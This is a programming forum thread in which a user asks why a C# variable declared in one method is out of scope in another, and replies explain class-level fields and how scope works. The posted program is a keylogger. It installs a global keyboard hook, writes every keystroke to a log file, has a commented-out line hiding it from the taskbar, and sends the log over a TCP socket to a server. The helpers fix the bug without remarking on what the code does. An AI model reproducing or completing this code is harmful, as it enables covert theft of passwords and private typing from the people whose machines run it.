[RESOLVED] I declared a variable but can't reuse it in another scope

in my Connect() function i declare

Code:

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NetworkStream serverStream;

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but down in the "button5_Click" event, when i try to use "serverStream" i get the error "The name 'serverStream' does not exist in the current context". If i left out any information that can be used to answer my question, please, let me know. Thanks in advance.

Code:

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using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using TestKeybdHook;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections;
using System.Net.Mail;
using System.Net;
using sockettest;
using System.Net.Sockets;

namespace KeyHookSucks
{
    public partial class Form1 : Form
    {

        String writeUp;
        string n = Environment.NewLine;

        public Form1()
        {
            InitializeComponent();

           
          //this.ShowInTaskbar = false;
          //this.Refresh();
            Hook.CreateHook(KeyReaderr);
            this.button1.Enabled = false;
            this.button2.Enabled = true;
            writeUp = "";

        }

        private void button1_Click(object sender, EventArgs e)
        {

            Hook.CreateHook(KeyReaderr);

            button2.Enabled = true;
            button1.Enabled = false;
        }

        public void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);

            Hook.VK vk = (Hook.VK)key;

            String temp = "";

            switch (vk)
            {
                case Hook.VK.VK_F1: temp = "<-F1->";
                    break;

                case Hook.VK.VK_F2: temp = "<-F2->";
                    break;
                case Hook.VK.VK_F3: temp = "<-F3->";
                    break;
                case Hook.VK.VK_F4: temp = "<-F4->";
                    break;
                case Hook.VK.VK_F5: temp = "<-F5->";
                    break;
                case Hook.VK.VK_F6: temp = "<-F6->";
                    break;
                case Hook.VK.VK_F7: temp = "<-F7->";
                    break;
                case Hook.VK.VK_F8: temp = "<-F8->";
                    break;
                case Hook.VK.VK_F9: temp = "<-F9->";
                    break;
                case Hook.VK.VK_F10: temp = "<-F10->";
                    break;
                case Hook.VK.VK_F11: temp = "<-F11->";
                    break;
                case Hook.VK.VK_F12: temp = "<-F12->";
                    break;               
                case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                    break;             
                case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                    break;
                case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                    break;
                case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                    break;
                case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                    break;
                case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                    break;
                case Hook.VK.VK_SEPERATOR: temp = "|";
                    break;
                case Hook.VK.VK_SUBTRACT: temp = "-";
                    break;
                case Hook.VK.VK_DECIMAL: temp = ".";
                    break;
                case Hook.VK.VK_DIVIDE: temp = "/";
                    break;
                case Hook.VK.VK_NUMPAD0: temp = "0";
                    break;
                case Hook.VK.VK_NUMPAD1: temp = "1";
                    break;
                case Hook.VK.VK_NUMPAD2: temp = "2";
                    break;
                case Hook.VK.VK_NUMPAD3: temp = "3";
                    break;
                case Hook.VK.VK_NUMPAD4: temp = "4";
                    break;
                case Hook.VK.VK_NUMPAD5: temp = "5";
                    break;
                case Hook.VK.VK_NUMPAD6: temp = "6";
                    break;
                case Hook.VK.VK_NUMPAD7: temp = "7";
                    break;
                case Hook.VK.VK_NUMPAD8: temp = "8";
                    break;
                case Hook.VK.VK_NUMPAD9: temp = "9";
                    break;
                case Hook.VK.VK_Q: temp = "q";
                    break;
                case Hook.VK.VK_W: temp = "w";
                    break;
                case Hook.VK.VK_E: temp = "e";
                    break;
                case Hook.VK.VK_R: temp = "r";
                    break;
                case Hook.VK.VK_T: temp = "t";
                    break;
                case Hook.VK.VK_Y: temp = "y";
                    break;
                case Hook.VK.VK_U: temp = "u";
                    break;
                case Hook.VK.VK_I: temp = "i";
                    break;
                case Hook.VK.VK_O: temp = "o";
                    break;
                case Hook.VK.VK_P: temp = "p";
                    break;
                case Hook.VK.VK_A: temp = "a";
                    break;
                case Hook.VK.VK_S: temp = "s";
                    break;
                case Hook.VK.VK_D: temp = "d";
                    break;
                case Hook.VK.VK_F: temp = "f";
                    break;
                case Hook.VK.VK_G: temp = "g";
                    break;
                case Hook.VK.VK_H: temp = "h";
                    break;
                case Hook.VK.VK_J: temp = "j";
                    break;
                case Hook.VK.VK_K: temp = "k";
                    break;
                case Hook.VK.VK_L: temp = "l";
                    break;
                case Hook.VK.VK_Z: temp = "z";
                    break;
                case Hook.VK.VK_X: temp = "x";
                    break;
                case Hook.VK.VK_C: temp = "c";
                    break;
                case Hook.VK.VK_V: temp = "v";
                    break;
                case Hook.VK.VK_B: temp = "b";
                    break;
                case Hook.VK.VK_N: temp = "n";
                    break;
                case Hook.VK.VK_M: temp = "m";
                    break;
                case Hook.VK.VK_0: temp = "0";
                    break;
                case Hook.VK.VK_1: temp = "1";
                    break;
                case Hook.VK.VK_2: temp = "2";
                    break;
                case Hook.VK.VK_3: temp = "3";
                    break;
                case Hook.VK.VK_4: temp = "4";
                    break;
                case Hook.VK.VK_5: temp = "5";
                    break;
                case Hook.VK.VK_6: temp = "6";
                    break;
                case Hook.VK.VK_7: temp = "7";
                    break;
                case Hook.VK.VK_8: temp = "8";
                    break;
                case Hook.VK.VK_9: temp = "9";
                    break;
                case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                    break;
                case Hook.VK.VK_INSERT: temp = "<-insert->";
                    break;
                case Hook.VK.VK_DELETE: temp = "<-delete->";
                    break;
                case Hook.VK.VK_BACK: temp = "<-backspace->";
                    break;
                case Hook.VK.VK_TAB: temp = "<-tab->";
                    break;
                case Hook.VK.VK_RETURN: temp = "<-enter->";
                    break;
                case Hook.VK.VK_PAUSE: temp = "<-pause->";
                    break;
                case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                    break;
                case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                    break;
                case Hook.VK.VK_SPACE: temp = "<-space->";
                    break;
                case Hook.VK.VK_PRIOR: temp = "<-page up->";
                    break;
                case Hook.VK.VK_NEXT: temp = "<-page down->";
                    break;
                case Hook.VK.VK_END: temp = "<-end->";
                    break;
                case Hook.VK.VK_HOME: temp = "<-home->";
                    break;
                case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                    break;
                case Hook.VK.VK_UP: temp = "<-arrow up->";
                    break;
                case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                    break;
                case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                    break;
                default: break;
            }

            writeUp = writeUp + temp;
            writeToFile(temp);

        }

        public void Connect(string hostname) {
            TcpClient cSoc = new TcpClient();
            textBox3.Text += "Client started" + n;
            try
            {
                cSoc.Connect(hostname, 8888);
            }
            catch (System.Exception Ex)
            {
                textBox3.Text += Ex.Message + n + Ex.Message;
            }
            textBox3.Text += "Client Socket Program - Server Connected ..." + n;
            NetworkStream serverStream;
            try
            {
                serverStream = cSoc.GetStream();
            }
            catch (System.Exception Ex)
            {
                textBox3.Text += Ex.Message + n + Ex.Message;
            }
        }


        public void writeToFile(String writing)
        {
           
            TextReader tr = new StreamReader("logs.krs");

            // read a line of text
            String secr = tr.ReadToEnd();

            // close the stream
            tr.Close();

            // create a writer and open the file
            TextWriter tw = new StreamWriter("logs.krs");

         
            // write a line of text to the file
            tw.WriteLine(secr+writing);

            // close the stream
            tw.Close();

        }


        private void button2_Click(object sender, EventArgs e)
        {
            Hook.DestroyHook();
            button2.Enabled = false;
            button1.Enabled = true;
        }

        private void button3_Click(object sender, EventArgs e)
        {

            writeToFile(writeUp);

        }

        public void Form1_Load(object sender, EventArgs e)
        {
            Connect("127.0.0.1");
        }

        public void button5_Click(object sender, EventArgs e)
        {
            TextReader tr = new StreamReader("logs.krs");
            String secr = tr.ReadToEnd();
            tr.Close();
            byte[] outStream = Encoding.ASCII.GetBytes(secr.Replace(n, "") + "$");
            serverStream.Write(outStream, 0, outStream.Length);
            serverStream.Flush();
            byte[] inStream = new byte[10025];
            serverStream.Read(inStream, 0, (int)cSoc.ReceiveBufferSize);
            string returndata = System.Text.Encoding.ASCII.GetString(inStream);
            textBox1.Text += "Data from Server : " + returndata + n;
        }
    }
}

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Your thread title says it all really - you are declaring a variable in one scope (the Connect method) and trying to use it in another scope (the button5_click method).

The serverStream variable needs to be declared as a class data member, like you did for the writeUp variable.

P.S. It's nice to see someone using [ code ] tags on their first post :)

Quote:

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Originally Posted by Peter_B

Your thread title says it all really - you are declaring a variable in one scope (the Connect method) and trying to use it in another scope (the button5_click method).

The serverStream variable needs to be declared as a class data member, like you did for the writeUp variable.

P.S. It's nice to see someone using [ code ] tags on their first post :)

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I don't know if you can answer this but would that work? I believe the connection has to be made in order to use "serverStream = cSoc.getStream". Is that wrong? I could try connecting as a data class member (or just in the Form1 scope if that doesnt make any sense) but i dont think that would work. Thanks for the quick reply though

Quote:

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Originally Posted by EdoSZ

I don't know if you can answer this but would that work? I believe the connection has to be made in order to use "serverStream = cSoc.getStream". Is that wrong? I could try connecting as a data class member (or just in the Form1 scope if that doesnt make any sense) but i dont think that would work. Thanks for the quick reply though

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Declaring the serverStream as a data member will just mean that it is 'null' before you assign a value to it (in 'Connect'). This is fine as long as the Connect method is called before you try to use it in button5_click.

Quote:

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Originally Posted by Peter_B

Declaring the serverStream as a data member will just mean that it is 'null' before you assign a value to it (in 'Connect'). This is fine as long as the Connect method is called before you try to use it in button5_click.

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Oh, thanks. i was confused as to what a data member was. I get what you mean now. And Connect() is called with Form1_Load so it will be fine.

EDIT: it works thankyou so much

Indeed, variables must be made available in whatever scope (within curly brackets) you plan to use them:

Code:

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class a{
  object b;

  method c(object d){
    object e;
    //b is available
    //d is avaialble
    //e is available
    if(blah){
      object f;
      //b is available
      //d is avaialble
      //e is available
      //f is available
    } else {
      //b is available
      //d is avaialble
      //e is available
      //f is NOT available
    }

    g(e);
  }
 
  method g(object h){
      //b is available
      //d is NOT avaialble
      //e is NOT available
      //f is NOT available
      //h is available. If g() was called from b() then h would point to the same object as e, but we must refer to it as h.Thing() NOT e.thing()

  }
}

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think of your code like a tree, look at the { brackets }. When youre inside a {code block} you have available anything declared up to that point (top to bottom) inside that code block, and in every outer {code block} back up to class level but you cant go out into the parent {code block} and then into another child of the parent and use variables defined in the other child, you can only go up through the parents

When you want a variable to be available to code inside multiple methods, consider that you must either:
Declare it at the class level (the parent of all the methods) or you must pass it in as an argument to each method that wants to use it, like g(object) above..